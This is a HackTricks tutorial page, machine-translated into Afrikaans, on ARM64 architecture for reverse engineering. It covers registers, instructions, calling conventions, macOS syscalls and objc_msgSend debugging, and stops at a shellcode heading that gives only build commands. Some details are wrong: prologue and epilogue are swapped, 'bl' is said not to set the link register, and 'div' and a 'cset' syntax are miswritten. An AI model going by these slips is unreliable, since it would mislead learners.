Introduction to ARM64v8

Reading time: 38 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Exception Levels - EL (ARM64v8)

In ARMv8-argitektuur definieer uitvoeringsvlakke, bekend as Exception Levels (ELs), die voorregvlak en vermoëns van die uitvoeringsomgewing. Daar is vier exception-vlakke, van EL0 tot EL3, elk met 'n ander doel:

  1. EL0 - User Mode:
  • Dit is die minste-bevoorregte vlak en word gebruik vir die uitvoering van gewone toepassingkode.
  • Toepassings wat by EL0 loop, is van mekaar en van die stelselprogrammatuur geïsoleer, wat sekuriteit en stabiliteit verbeter.
  1. EL1 - Operating System Kernel Mode:
  • Die meeste bedryfstelselkernels hardloop op hierdie vlak.
  • EL1 het meer voorregte as EL0 en kan stelselhulpbronne toegang, maar met sekere beperkings om stelselintegriteit te verseker.
  1. EL2 - Hypervisor Mode:
  • Hierdie vlak word vir virtualisering gebruik. 'n Hypervisor wat by EL2 loop kan meerdere bedryfstelsels bestuur (elkeen in sy eie EL1) op dieselfde fisiese hardeware.
  • EL2 bied funksies vir isolasie en beheer van die gevirtualiseerde omgewings.
  1. EL3 - Secure Monitor Mode:
  • Dit is die mees bevoorregte vlak en word dikwels gebruik vir secure boot en vertroude uitvoeringsomgewings.
  • EL3 kan toegang tussen secure en non-secure state beheer en bestuur (soos secure boot, trusted OS, ens.).

Die gebruik van hierdie vlakke maak 'n gestruktureerde en veilige wyse moontlik om verskillende aspekte van die stelsel te bestuur, van gebruikersprogramme tot die mees bevoorregte stelselprogrammatuur. ARMv8 se benadering tot voorregvlakke help om verskillende stelselkomponente effektief te isoleer en sodoende die sekuriteit en robuustheid van die stelsel te versterk.

Registers (ARM64v8)

ARM64 het 31 general-purpose registers, gemerk x0 tot x30. Elk kan 'n 64-bit (8-byt) waarde stoor. Vir operasies wat slegs 32-bit waardes benodig, kan dieselfde registers in 'n 32-bit formaat geraadpleeg word met die name w0 tot w30.

  1. x0 tot x7 - Hierdie word tipies gebruik as scratch-registers en vir die deurgee van parameters na subrutines.
  • x0 dra ook die terugkeerdata van 'n funksie.
  1. x8 - In die Linux-kern word x8 gebruik as die system call nommer vir die svc instruksie. In macOS die x16 is die een wat gebruik word!
  2. x9 tot x15 - Meer tydelike registers, dikwels gebruik vir plaaslike veranderlikes.
  3. x16 en x17 - Intra-procedural Call Registers. Tydelike registers vir onmiddellike waardes. Hulle word ook gebruik vir indirekte funksie-oproepe en PLT (Procedure Linkage Table) stubs.
  • x16 word gebruik as die system call number vir die svc instruksie in macOS.
  1. x18 - Platform register. Dit kan as 'n general-purpose register gebruik word, maar op sommige platforms is hierdie register gereserveer vir platform-spesifieke gebruike: wysiger na die huidige thread environment block in Windows, of om na die tans uitvoerende task structure in linux kernel te wys.
  2. x19 tot x28 - Dit is callee-saved registers. 'n Funksie moet die waardes van hierdie registers vir sy caller bewaar, dus word hulle in die stack gestoor en herkry voordat teruggekeer word na die caller.
  3. x29 - Frame pointer om die stack-raad te hou. Wanneer 'n nuwe stack-frame geskep word omdat 'n funksie aangeroep is, word die x29 register in die stack gestoor en die nuwe frame pointer adres (die sp adres) word in hierdie register gestoor.
  • Hierdie register kan ook as 'n general-purpose register gebruik word alhoewel dit gewoonlik as verwysing na plaatslike veranderlikes gebruik word.
  1. x30 of lr - Link register. Dit hou die terugkeeradres wanneer 'n BL (Branch with Link) of BLR (Branch with Link to Register) instruksie uitgevoer word deur die pc waarde in hierdie register te stoor.
  • Dit kan ook soos enige ander register gebruik word.
  • As die huidige funksie 'n nuwe funksie gaan aanroep en dus lr oorskryf, sal dit aan die begin in die stack gestoor word—dit is die epiloog (stp x29, x30 , [sp, #-48]; mov x29, sp -> Stoor fp en lr, genereer ruimte en kry nuwe fp) en herstel dit aan die einde, dit is die proloog (ldp x29, x30, [sp], #48; ret -> Herstel fp en lr en keer terug).
  1. sp - Stack pointer, gebruik om die top van die stack te hê.
  • Die sp waarde moet altyd op ten minste 'n quadword uitlyningsvlak gehou word of 'n uitlyningsfout kan voorkom.
  1. pc - Program counter, wat na die volgende instruksie wys. Hierdie register kan slegs bygewerk word deur exception-generasies, exception-terugkeer en takke. Die enigste gewone instruksies wat hierdie register kan lees, is Branch with Link instruksies (BL, BLR) om die pc adres in lr (Link Register) te stoor.
  2. xzr - Zero register. Ook genoem wzr in sy 32-bit register vorm. Kan gebruik word om maklik die nul-waarde te kry (algemene operasie) of om vergelykings uit te voer met subs soos subs XZR, Xn, #10 en die resultaat nêrens te stoor (in xzr).

Die Wn registers is die 32bit weergawe van die Xn register.

tip

Die registers van X0 - X18 is vluchtig (volatile), wat beteken hul waardes kan deur funksie-oproepe en interrupts verander word. Die registers van X19 - X28 is egter nie-vlugtig, wat beteken hul waardes moet oor funksie-oproepe bewaar bly ("callee saved").

SIMD and Floating-Point Registers

Bo en behalwe is daar nog 32 registers van 128bit lengte wat in geoptimaliseerde single instruction multiple data (SIMD) operasies en vir dryfpunt-aritmetika gebruik kan word. Hierdie word die Vn registers genoem alhoewel hulle ook in 64-bit, 32-bit, 16-bit en 8-bit opereer en dan Qn, Dn, Sn, Hn en Bn genoem word.

System Registers

Daar is honderde system registers, ook genoem special-purpose registers (SPRs), wat gebruik word vir monitoring en beheering van die verhouding van verwerkers.
Hulle kan slegs gelees of gestel word met behulp van die toegewyde spesiale instruksies mrs en msr.

Die spesiale registers TPIDR_EL0 en TPIDDR_EL0 kom algemeen voor tydens reverse engineering. Die EL0 agtervoegsel dui die minimale exception aan waarvan die register toeganklik is (in hierdie geval is EL0 die gewone exception (voorreg) vlak waarop gewone programme hardloop).
Hul word dikwels gebruik om die basisadres van die thread-local storage geheuegebied te stoor. Gewoonlik is die eerste een lees- en skryfbaar vir programme wat by EL0 loop, maar die tweede kan van EL0 gelees en van EL1 geskryf word (soos die kernel).

  • mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0
  • msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0

PSTATE

PSTATE bevat verskeie proseskomponente geserialiseer in die bedryfstelsel-sigbare SPSR_ELx spesiale register, waar X die permitvlak van die getriggerde exception is (dit laat toe om die prosesstaat te herstel wanneer die exception eindig).
Hierdie is die toeganklike veldjies:

  • Die N, Z, C en V conditievlae:
  • N beteken die operasie het 'n negatiewe resultaat gegee
  • Z beteken die operasie het nul gegee
  • C beteken die operasie het 'n carry gehad
  • V beteken die operasie het 'n signed overflow gegee:
  • Die som van twee positiewe getalle gee 'n negatiewe resultaat.
  • Die som van twee negatiewe getalle gee 'n positiewe resultaat.
  • In aftrekking, wanneer 'n groot negatiewe getal van 'n kleiner positiewe getal afgetrek word (of omgekeerd), en die resultaat nie binne die reeks van die gegewe bits getoon kan word nie.
  • Oenklik die verwerker weet nie of die operasie signed is of nie, so dit sal C en V in die operasies nagaan en aandui of 'n carry plaasgevind het in die geval dit signed of unsigned was.

warning

Nie al die instruksies werk hierdie vlae by nie. Sommige soos CMP of TST doen dit, en ander wat 'n s agtervoegsel het soos ADDS doen dit ook.

  • Die huidige register breedte (nRW) vlag: As die vlag die waarde 0 hou, sal die program in die AArch64 uitvoeringsstaat loop sodra hervat.
  • Die huidige Exception Level (EL): 'n Gewone program wat in EL0 loop sal die waarde 0 hê.
  • Die single stepping vlag (SS): Word deur debuggers gebruik om enkelstap deur te voer deur die SS vlag op 1 te stel binne SPSR_ELx deur 'n exception. Die program sal 'n stap uitvoer en 'n single step exception uitreik.
  • Die illegal exception status vlag (IL): Dit word gebruik om te merk wanneer 'n bevoorregte sagteware 'n ongeldige exception level-oordrag uitvoer; hierdie vlag word op 1 gestel en die verwerker trigger 'n illegal state exception.
  • Die DAIF vlae: Hierdie vlae laat 'n bevoorregte program toe om sekere eksterne exceptions selektief te mask.
  • As A 1 is beteken dit asynchronous aborts sal getrigger word. Die I konfigureer om op eksterne hardeware Interrupt Requests (IRQs) te reageer. En die F is verwant aan Fast Interrupt Requests (FIRs).
  • Die stack pointer select vlae (SPS): Bevoorregte programme wat in EL1 en hoër loop kan skakel tussen die gebruik van hul eie stack pointer register en die gebruiker-model een (bv. tussen SP_EL1 en EL0). Hierdie omskakeling word uitgevoer deur na die SPSel spesiale register te skryf. Dit kan nie vanaf EL0 gedoen word nie.

Calling Convention (ARM64v8)

Die ARM64 calling convention spesifiseer dat die eerste agt parameters aan 'n funksie in registers x0 tot x7 gedra word. Addisionele parameters word op die stack deurgegee. Die terugkeer waarde word in register x0 teruggegee, of ook in x1 as dit 128 bits lank is. Die x19 tot x30 en sp registers moet behou word oor funksie-oproepe.

Wanneer jy 'n funksie in assembler lees, kyk vir die funksie proloog en epiloog. Die proloog behels gewoonlik om die frame pointer (x29) te stoor, op te stel 'n nuwe frame pointer, en stack-ruimte te toeken. Die epiloog behels gewoonlik herstel van die gestoor frame pointer en terugkeer uit die funksie.

Calling Convention in Swift

Swift het sy eie calling convention wat gevind kan word by https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64

Common Instructions (ARM64v8)

ARM64-instruksies het oor die algemeen die formaat opcode dst, src1, src2, waar opcode die operasie is wat uitgevoer word (soos add, sub, mov, ens.), dst is die bestemming register waar die resultaat gestoor sal word, en src1 en src2 is die bronne registers. Immediate waardes kan ook in plek van bronregisters gebruik word.

  • mov: Move 'n waarde van een register na 'n ander.

  • Voorbeeld: mov x0, x1 — Dit skuif die waarde van x1 na x0.

  • ldr: Load 'n waarde uit geheue in 'n register.

  • Voorbeeld: ldr x0, [x1] — Dit laai 'n waarde van die geheue-ligging wat deur x1 aangedui word in x0.

  • Offset mode: 'n Offset wat die oorsprong-aanwyser affekteer word aangedui, byvoorbeeld:

  • ldr x2, [x1, #8], dit sal in x2 die waarde van x1 + 8 laai

  • ldr x2, [x0, x1, lsl #2], dit sal in x2 'n objek uit die array x0 laai, van posisie x1 (indeks) * 4

  • Pre-indexed mode: Dit sal berekeninge op die oorsprong toepas, die resultaat kry en ook die nuwe oorsprong in die oorsprong stoor.

  • ldr x2, [x1, #8]!, dit sal x1 + 8 in x2 laai en in x1 die resultaat van x1 + 8 stoor

  • str lr, [sp, #-4]!, Stoor die link register in sp en werk die register sp op

  • Post-index mode: Dit is soos die vorige, maar die geheueadres word eerstens geraadpleeg en dan word die offset bereken en gestoor.

  • ldr x0, [x1], #8, laai x1 in x0 en werk x1 op met x1 + 8

  • PC-relative addressing: In hierdie geval word die adres wat gelaai moet word relatief tot die PC-register bereken

  • ldr x1, =_start, Dit sal die adres waar die _start simbool begin in x1 laai verwant aan die huidige PC.

  • str: Store 'n waarde van 'n register in geheue.

  • Voorbeeld: str x0, [x1] — Dit stoor die waarde in x0 in die geheue-ligging aangedui deur x1.

  • ldp: Load Pair of Registers. Hierdie instruksie laai twee registers van aaneenliggende geheue liggings. Die geheueadres word tipies gevorm deur 'n offset by die waarde in 'n ander register op te tel.

  • Voorbeeld: ldp x0, x1, [x2] — Dit laai x0 en x1 van die geheue-liggings by x2 en x2 + 8, onderskeidelik.

  • stp: Store Pair of Registers. Hierdie instruksie stoor twee registers na aaneenliggende geheue liggings. Die geheueadres word tipies gevorm deur 'n offset by die waarde in 'n ander register op te tel.

  • Voorbeeld: stp x0, x1, [sp] — Dit stoor x0 en x1 in die geheue-liggings by sp en sp + 8, onderskeidelik.

  • stp x0, x1, [sp, #16]! — Dit stoor x0 en x1 in die geheue-liggings by sp+16 en sp + 24, onderskeidelik, en werk sp by na sp+16.

  • add: Voeg die waardes van twee registers by en stoor die resultaat in 'n register.

  • Sintaks: add(s) Xn1, Xn2, Xn3 | #imm, [shift #N | RRX]

  • Xn1 -> Bestemming

  • Xn2 -> Operand 1

  • Xn3 | #imm -> Operand 2 (register of immediate)

  • [shift #N | RRX] -> Voer 'n skuif uit of gebruik RRX

  • Voorbeeld: add x0, x1, x2 — Dit tel die waardes in x1 en x2 bymekaar en stoor die resultaat in x0.

  • add x5, x5, #1, lsl #12 — Dit is gelyk aan 4096 (1 geskuiwe 12 keer) -> 1 0000 0000 0000 0000

  • adds Dit voer 'n add uit en werk die vlae by

  • sub: Trek af die waardes van twee registers en stoor die resultaat in 'n register.

  • Kyk add sintaks.

  • Voorbeeld: sub x0, x1, x2 — Dit trek die waarde in x2 van x1 af en stoor die resultaat in x0.

  • subs Dit is soos sub maar werk die vlae by

  • mul: Vermenigvuldig die waardes van twee registers en stoor die resultaat in 'n register.

  • Voorbeeld: mul x0, x1, x2 — Dit vermenigvuldig die waardes in x1 en x2 en stoor die resultaat in x0.

  • div: Deel die waarde van een register deur 'n ander en stoor die resultaat in 'n register.

  • Voorbeeld: div x0, x1, x2 — Dit deel die waarde in x1 deur x2 en stoor die resultaat in x0.

  • lsl, lsr, asr, ror, rrx:

  • Logical shift left: Voeg 0's by aan die einde en skuif die ander bite vorentoe (vermenigvuldig met 2^n)

  • Logical shift right: Voeg 0's aan die begin (vir unsigned) en skuif die ander bite agtertoe (deel deur 2^n vir unsigned)

  • Arithmetic shift right: Soos lsr, maar as die hoogste bit 'n 1 is, word 1's bygevoeg (deel deur 2^n vir signed)

  • Rotate right: Soos lsr maar wat uit die regterkant verwyder word word links aangeheg

  • Rotate Right with Extend: Soos ror, maar met die carry vlag as die "mees-belangrike bit". Dus word die carry vlag na bit 31 beweeg en die verwyderde bit na die carry vlag.

  • bfm: Bit Field Move, hierdie operasies kopieer bite 0...n van 'n waarde en plaas hulle in posisies m..m+n. Die #s spesifiseer die linkerste bit posisie en #r die rotate right hoeveelheid.

  • Bitfield move: BFM Xd, Xn, #r

  • Signed Bitfield move: SBFM Xd, Xn, #r, #s

  • Unsigned Bitfield move: UBFM Xd, Xn, #r, #s

  • Bitfield Extract and Insert: Kopieer 'n bitveld uit 'n register en plaas dit in 'n ander register.

  • BFI X1, X2, #3, #4 Sit 4 bite van X2 in vanaf die 3de bit van X1

  • BFXIL X1, X2, #3, #4 Trek 4 bite uit vanaf die 3de bit van X2 en kopieer hulle na X1

  • SBFIZ X1, X2, #3, #4 Sign-extends 4 bite van X2 en plaas dit in X1 beginnende by bitposisie 3 en maak die regterbite nul

  • SBFX X1, X2, #3, #4 Trek 4 bite beginnende by bit 3 van X2 uit, sign-extend dit, en plaas die resultaat in X1

  • UBFIZ X1, X2, #3, #4 Zero-extends 4 bite van X2 en plaas dit in X1 beginnende by bitposisie 3 en maak die regterbite nul

  • UBFX X1, X2, #3, #4 Trek 4 bite beginnende by bit 3 van X2 uit en plaas die zero-extended resultaat in X1.

  • Sign Extend To X: Brei die teken uit (of voeg net 0s by in die unsigned weergawe) van 'n waarde om operasies met dit te kan uitvoer:

  • SXTB X1, W2 Brei die teken van 'n byte van W2 na X1 uit (W2 is die helfte van X2) om die 64 bits te vul

  • SXTH X1, W2 Brei die teken van 'n 16-bit getal van W2 na X1 uit om die 64 bits te vul

  • SXTW X1, W2 Brei die teken van 'n 32-bit getal van W2 na X1 uit om die 64 bits te vul

  • UXTB X1, W2 Voeg 0s by (unsigned) aan 'n byte van W2 na X1 om die 64 bits te vul

  • extr: Trek bite uit 'n gespesifiseerde paar van registre concatenated.

  • Voorbeeld: EXTR W3, W2, W1, #3 Dit sal W1+W2 concateneer en kry van bit 3 van W2 tot bit 3 van W1 en dit in W3 stoor.

  • cmp: Vergelyk twee registers en stel conditievlae. Dit is 'n alias van subs wat die bestemming register op die zero register stel. Nuttig om te weet of m == n.

  • Dit ondersteun dieselfde sintaks as subs

  • Voorbeeld: cmp x0, x1 — Dit vergelyk die waardes in x0 en x1 en stel die conditievlae ooreenkomstig.

  • cmn: Vergelyk negatiewe operand. In hierdie geval is dit 'n alias van adds en ondersteun dieselfde sintaks. Nuttig om te weet of m == -n.

  • ccmp: Voorwaardelike vergelyking, dit is 'n vergelyking wat slegs uitgevoer sal word as 'n vorige vergelyking waar was en sal spesifiek nzcv-bits stel.

  • cmp x1, x2; ccmp x3, x4, 0, NE; blt _func -> as x1 != x2 en x3 < x4, spring na func

  • Dit is omdat ccmp slegs uitgevoer sal word as die vorige cmp 'n NE was; as dit nie was nie sal die bits nzcv op 0 gestel word (wat nie die blt vergelyking sal bevredig nie).

  • Dit kan ook as ccmn gebruik word (dieselfde maar negatief, soos cmp vs cmn).

  • tst: Dit kontroleer of enige van die bisse van die vergelyking albei 1 is (dit werk soos 'n ANDS sonder om die resultaat enige plek te stoor). Dit is nuttig om 'n register met 'n waarde te toets en te kyk of enige van die bisse wat aangedui word deur die waarde 1 is.

  • Voorbeeld: tst X1, #7 Kontroleer of enige van die laaste 3 bite van X1 1 is

  • teq: XOR-operasie wat die resultaat weggooi

  • b: Onvoorwaardelike Tak (Branch)

  • Voorbeeld: b myFunction

  • Let daarop dat dit nie die link register met die terugkeeradres vul nie (nie geskik vir subrutine-oproepe wat terug moet keer nie)

  • bl: Branch met link, gebruik om 'n subrutine te bel. Stoor die terugkeeradres in x30.

  • Voorbeeld: bl myFunction — Dit roep die funksie myFunction aan en stoor die terugkeeradres in x30.

  • Let dat dit nie die link register met die terugkeeradres vul nie (nie geskik vir subrutine-oproepe wat terug moet keer nie)

  • blr: Branch met Link na Register, gebruik om 'n subrutine te bel waar die teiken in 'n register gespesifiseer is. Stoor die terugkeeradres in x30.

  • Voorbeeld: blr x1 — Dit roep die funksie aan wie se adres in x1 is en stoor die terugkeeradres in x30.

  • ret: Keer terug van 'n subrutine, tipies die adres in x30 gebruik.

  • Voorbeeld: ret — Dit keer terug uit die huidige subrutine gebruikende die terugkeeradres in x30.

  • b.<cond>: Voorwaardelike takke

  • b.eq: Tak indien gelyk, gebaseer op die vorige cmp instruksie.

  • Voorbeeld: b.eq label — As die vorige cmp twee gelyke waardes gevind het, spring dit na label.

  • b.ne: Tak as nie-gelyk. Hierdie instruksie kontroleer die conditievlae (gestel deur 'n vorige vergelykingsinstruksie), en as die vergelykte waardes nie gelyk was nie, tak dit na 'n label of adres.

  • Voorbeeld: Na 'n cmp x0, x1 instruksie, b.ne label — As die waardes in x0 en x1 nie gelyk was nie, spring dit na label.

  • cbz: Compare and Branch on Zero. Hierdie instruksie vergelyk 'n register met nul, en as hulle gelyk is, tak dit na 'n label of adres.

  • Voorbeeld: cbz x0, label — As die waarde in x0 nul is, spring dit na label.

  • cbnz: Compare and Branch on Non-Zero. Hierdie instruksie vergelyk 'n register met nul, en as hulle nie gelyk is nie, tak dit na 'n label of adres.

  • Voorbeeld: cbnz x0, label — As die waarde in x0 nie nul is nie, spring dit na label.

  • tbnz: Test bit and branch on nonzero

  • Voorbeeld: tbnz x0, #8, label

  • tbz: Test bit and branch on zero

  • Voorbeeld: tbz x0, #8, label

  • Conditional select operations: Dit is operasies wie se gedrag afhang van die kondisionele bisse.

  • csel Xd, Xn, Xm, cond -> csel X0, X1, X2, EQ -> As waar, X0 = X1, as onwaar, X0 = X2

  • csinc Xd, Xn, Xm, cond -> As waar, Xd = Xn, as onwaar, Xd = Xm + 1

  • cinc Xd, Xn, cond -> As waar, Xd = Xn + 1, as onwaar, Xd = Xn

  • csinv Xd, Xn, Xm, cond -> As waar, Xd = Xn, as onwaar, Xd = NOT(Xm)

  • cinv Xd, Xn, cond -> As waar, Xd = NOT(Xn), as onwaar, Xd = Xn

  • csneg Xd, Xn, Xm, cond -> As waar, Xd = Xn, as onwaar, Xd = - Xm

  • cneg Xd, Xn, cond -> As waar, Xd = - Xn, as onwaar, Xd = Xn

  • cset Xd, Xn, Xm, cond -> As waar, Xd = 1, as onwaar, Xd = 0

  • csetm Xd, Xn, Xm, cond -> As waar, Xd = <all 1>, as onwaar, Xd = 0

  • adrp: Bereken die bladsyadres van 'n simbool en stoor dit in 'n register.

  • Voorbeeld: adrp x0, symbol — Dit bereken die bladsyadres van symbol en stoor dit in x0.

  • ldrsw: Laai 'n signed 32-bit waarde uit geheue en sign-extend dit na 64 bits.

  • Voorbeeld: ldrsw x0, [x1] — Dit laai 'n signed 32-bit waarde vanaf die geheue-ligging aangedui deur x1, sign-extend dit na 64 bits, en stoor dit in x0.

  • stur: Stoor 'n registerwaarde in 'n geheue-ligging, gebruik 'n offset van 'n ander register.

  • Voorbeeld: stur x0, [x1, #4] — Dit stoor die waarde in x0 in die geheue-adres wat 4 bytes groter is as die adres in x1.

  • svc : Maak 'n system call. Dit staan vir "Supervisor Call". Wanneer die verwerker hierdie instruksie uitvoer, skakel dit van gebruiker-modus na kern-modus en spring na 'n spesifieke ligging in geheue waar die kernel se system call handling kode geleë is.

  • Voorbeeld:

armasm
mov x8, 93  ; Load the system call number for exit (93) into register x8.
mov x0, 0   ; Load the exit status code (0) into register x0.
svc 0       ; Make the system call.

Function Prologue

  1. Stoor die link register en frame pointer in die stack:
armasm
stp x29, x30, [sp, #-16]!  ; store pair x29 and x30 to the stack and decrement the stack pointer
  1. Stel die nuwe raamwyser op: mov x29, sp (stel die nuwe raamwyser vir die huidige funksie op)
  2. Ken ruimte op die stapel toe vir plaaslike veranderlikes (indien nodig): sub sp, sp, <size> (waar <size> die aantal bytes is wat benodig word)

Funksie-epiloog

  1. Maak plaaslike veranderlikes vry (indien enige toegeken is): add sp, sp, <size>
  2. Herstel die linkregister en raamwyser:
armasm
ldp x29, x30, [sp], #16  ; load pair x29 and x30 from the stack and increment the stack pointer
  1. Terugkeer: ret (hergee beheer aan die aanroeper met behulp van die adres in die link register)

AARCH32 Uitvoeringstoestand

Armv8-A ondersteun die uitvoering van 32-bit programme. AArch32 kan in een van twee instruksiesstelle loop: A32 en T32 en kan tussen hulle wissel via interworking.
Bevoorregte 64-bit programme kan die uitvoering van 32-bit programme beplan deur 'n oordrag van uitsonderingsvlak na die laer-bevoorregte 32-bit uit te voer.
Neem kennis dat die oorgang van 64-bit na 32-bit plaasvind met 'n laer uitsonderingsvlak (byvoorbeeld 'n 64-bit program in EL1 wat 'n program in EL0 trigger). Dit word gedoen deur bit 4 van SPSR_ELx spesiale register op 1 te stel wanneer die AArch32 prosesdraad gereed is om uitgevoer te word en die res van SPSR_ELx die AArch32 program se CPSR stoor. Daarna roep die bevoorregte proses die ERET instruksie sodat die verwerker na AArch32 oorgaan en A32 of T32 betree afhangende van CPSR**.**

Die interworking gebeur deur die J en T-bitte van CPSR te gebruik. J=0 en T=0 beteken A32 en J=0 en T=1 beteken T32. Dit beteken basies om die laagste bit op 1 te stel om aan te dui dat die instruksie-stel T32 is.
Dit word gestel tydens die interworking branch instructions, maar kan ook direk met ander instruksies gestel word wanneer die PC as die bestemmingsregister gestel word. Voorbeeld:

Nog 'n voorbeeld:

armasm
_start:
.code 32                ; Begin using A32
add r4, pc, #1      ; Here PC is already pointing to "mov r0, #0"
bx r4               ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)

.code 16:
mov r0, #0
mov r0, #8

Registers

Daar is 16 32-bit registers (r0-r15). Vanaf r0 tot r14 kan hulle vir enige operasie gebruik word, maar sommige word gewoonlik gereserveer:

  • r15: Programteller (altyd). Bevat die adres van die volgende instruksie. In A32 huidige + 8, in T32 huidige + 4.
  • r11: Raamwyser
  • r12: Intra-prosedurele oproepregister
  • r13: Stack Pointer (Let daarop dat die stack altyd 16-byte uitgelyn is)
  • r14: Link Register

Verder word registers gesteun in banked registries. Dit is plekke wat die registerwaardes stoor en toelaat om vinnige kontekswisseling uit te voer tydens uitsonderingshantering en bevoegde operasies, sodat dit nie nodig is om registre elke keer handmatig te stoor en te herstel nie.
Dit gebeur deur die verwerkerstatus van die CPSR na die SPSR van die verwerkermodus waarin die uitsondering geneem is, te stoor. By die terugkeer van die uitsondering word die CPSR uit die SPSR herstel.

CPSR - Huidige Programstatusregister

In AArch32 werk die CPSR soortgelyk aan PSTATE in AArch64 en word dit ook in SPSR_ELx gestoor wanneer 'n uitsondering geneem word om later die uitvoering te herstel:

Die velde is in 'n paar groepe verdeeld:

  • Application Program Status Register (APSR): Aritmetiese vlagte en toeganglik vanaf EL0
  • Execution State Registers: Prosesgedrag (bestuur deur die OS).

Application Program Status Register (APSR)

  • Die N, Z, C, V vlagte (soos in AArch64)
  • Die Q vlag: Dit word op 1 gestel wanneer integer-saturasie voorkom tydens die uitvoering van 'n spesialis-saturerende aritmetiese instruksie. Sodra dit op 1 gestel is, behou dit die waarde totdat dit handmatig op 0 gestel word. Daar is verder geen instruksie wat sy waarde implisiet nagaan nie; dit moet handmatig gelees word.
  • GE (Greater than or equal) vlagte: Dit word in SIMD (Single Instruction, Multiple Data) operasies gebruik, soos "parallel add" en "parallel subtract". Hierdie operasies laat toe om verskeie datapunte in een instruksie te verwerk.

Byvoorbeeld, die UADD8 instruksie voeg vier pare bytes (van twee 32-bit operands) parallel by en berg die resultate in 'n 32-bit register. Dit stel dan die GE vlagte in die APSR gebaseer op hierdie resultate. Elke GE-vlag stem ooreen met een van die byte-byvoegings en dui aan of die byvoeging vir daardie bytepaar oorvloei.

Die SEL instruksie gebruik hierdie GE-vlagte om voorwaardelike aksies uit te voer.

Execution State Registers

  • Die J en T bits: J behoort 0 te wees en as T 0 is gebruik dit die instruksieset A32, en as dit 1 is word T32 gebruik.
  • IT Block State Register (ITSTATE): Dit is die bisse van 10-15 en 25-26. Hulle stoor toestande vir instruksies binne 'n IT-voorgestelde groep.
  • E bit: Dui die endianness aan.
  • Mode en Exception Mask Bits (0-4): Hulle bepaal die huidige uitvoeringstoestand. Die 5de bit dui aan of die program as 32bit (1) of 64bit (0) loop. Die ander 4 verteenwoordig die uitsonderingsmodus wat tans gebruik word (wanneer 'n uitsondering plaasvind en hanteer word). Die gesette nommer dui die huidige prioriteit aan ingeval nog 'n uitsondering geaktiveer word terwyl hierdie een hanteer word.
  • AIF: Sekere uitsonderings kan gedeaktiveer word deur die bits A, I, F. As A 1 is beteken dit asynchrone aborts sal geaktiveer word. Die I stel die reaksie op eksterne hardeware Interrupt Requests (IRQs) op, en die F is verwant aan Fast Interrupt Requests (FIRs).

macOS

BSD syscalls

Kyk na syscalls.master of voer cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h uit. BSD syscalls sal x16 > 0 hê.

Mach Traps

Kyk in syscall_sw.c na die mach_trap_table en in mach_traps.h na die prototipes. Die maksimum aantal Mach traps is MACH_TRAP_TABLE_COUNT = 128. Mach traps sal x16 < 0 hê, so jy moet die nommers van die vorige lys met 'n minus oproep: _kernelrpc_mach_vm_allocate_trap is -10.

Jy kan ook libsystem_kernel.dylib in 'n disassembler nagaan om te vind hoe om hierdie (en BSD) syscalls aan te roep:

bash
# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e

# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64

Note that Ida and Ghidra can also decompile specific dylibs from the cache just by passing the cache.

tip

Soms is dit makliker om die gedekompileerde kode van libsystem_kernel.dylib as om die bronkode na te gaan, omdat die kode van verskeie syscalls (BSD en Mach) via skripte gegenereer word (kyk kommentaar in die bronkode) terwyl jy in die dylib kan vind wat aangeroep word.

machdep calls

XNU ondersteun 'n ander tipe oproepe wat machine dependent genoem word. Die nommers van hierdie oproepe hang af van die argitektuur en geen van die oproepe of nommers is gewaarborg om konstant te bly nie.

comm page

Dit is 'n kernel-eienaarskap geheuebladsy wat in die adresruimte van elke gebruiker se proses gemap word. Dit is bedoel om die oorgang van user mode na kernel space vinniger te maak as om syscalls te gebruik vir kernel-dienste wat so gereeld gebruik word dat hierdie oorgang baie ondoeltreffend sou wees.

Byvoorbeeld lees die oproep gettimeofdate die waarde van timeval direk vanaf die comm page.

objc_msgSend

Dit is uiters algemeen om hierdie funksie in Objective-C of Swift programme te vind. Hierdie funksie laat toe om 'n metode van 'n Objective-C object aan te roep.

Parameters (more info in the docs):

  • x0: self -> Aanwyser na die instansie
  • x1: op -> Selector van die metode
  • x2... -> Oorblywende argumente van die aangeroepde metode

As jy dus 'n breakpoint plaas voor die tak na hierdie funksie, kan jy maklik vind wat aangeroep word in lldb met (in hierdie voorbeeld roep die objek 'n objek van NSConcreteTask aan wat 'n opdrag sal uitvoer):

bash
# Right in the line were objc_msgSend will be called
(lldb) po $x0
<NSConcreteTask: 0x1052308e0>

(lldb) x/s $x1
0x1736d3a6e: "launch"

(lldb) po [$x0 launchPath]
/bin/sh

(lldb) po [$x0 arguments]
<__NSArrayI 0x1736801e0>(
-c,
whoami
)

tip

Deur die omgewingsveranderlike NSObjCMessageLoggingEnabled=1 te stel, is dit moontlik om te log wanneer hierdie funksie aangeroep word in 'n lêer soos /tmp/msgSends-pid.

Verder, deur OBJC_HELP=1 te stel en enige binary aan te roep, kan jy ander omgewingsveranderlikes sien wat jy kan gebruik om te log wanneer sekere Objc-C-aksies plaasvind.

Wanneer hierdie funksie aangeroep word, moet die aangeroep metode van die aangeduide instance gevind word; hiervoor word verskeie soektogte uitgevoer:

  • Voer optimistiese cache-opsoek uit:
  • As dit suksesvol is, klaar
  • Verkry runtimeLock (read)
  • If (realize && !cls->realized) realize class
  • If (initialize && !cls->initialized) initialize class
  • Probeer class se eie cache:
  • As dit suksesvol is, klaar
  • Probeer class method list:
  • Indien gevind, vul cache en klaar
  • Probeer superclass cache:
  • As dit suksesvol is, klaar
  • Probeer superclass method list:
  • Indien gevind, vul cache en klaar
  • If (resolver) try method resolver, and repeat from class lookup
  • As dit nog hier is (= alles anders het misluk), probeer forwarder

Shellcodes

Om te kompileer:

bash
as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

# You could also use this
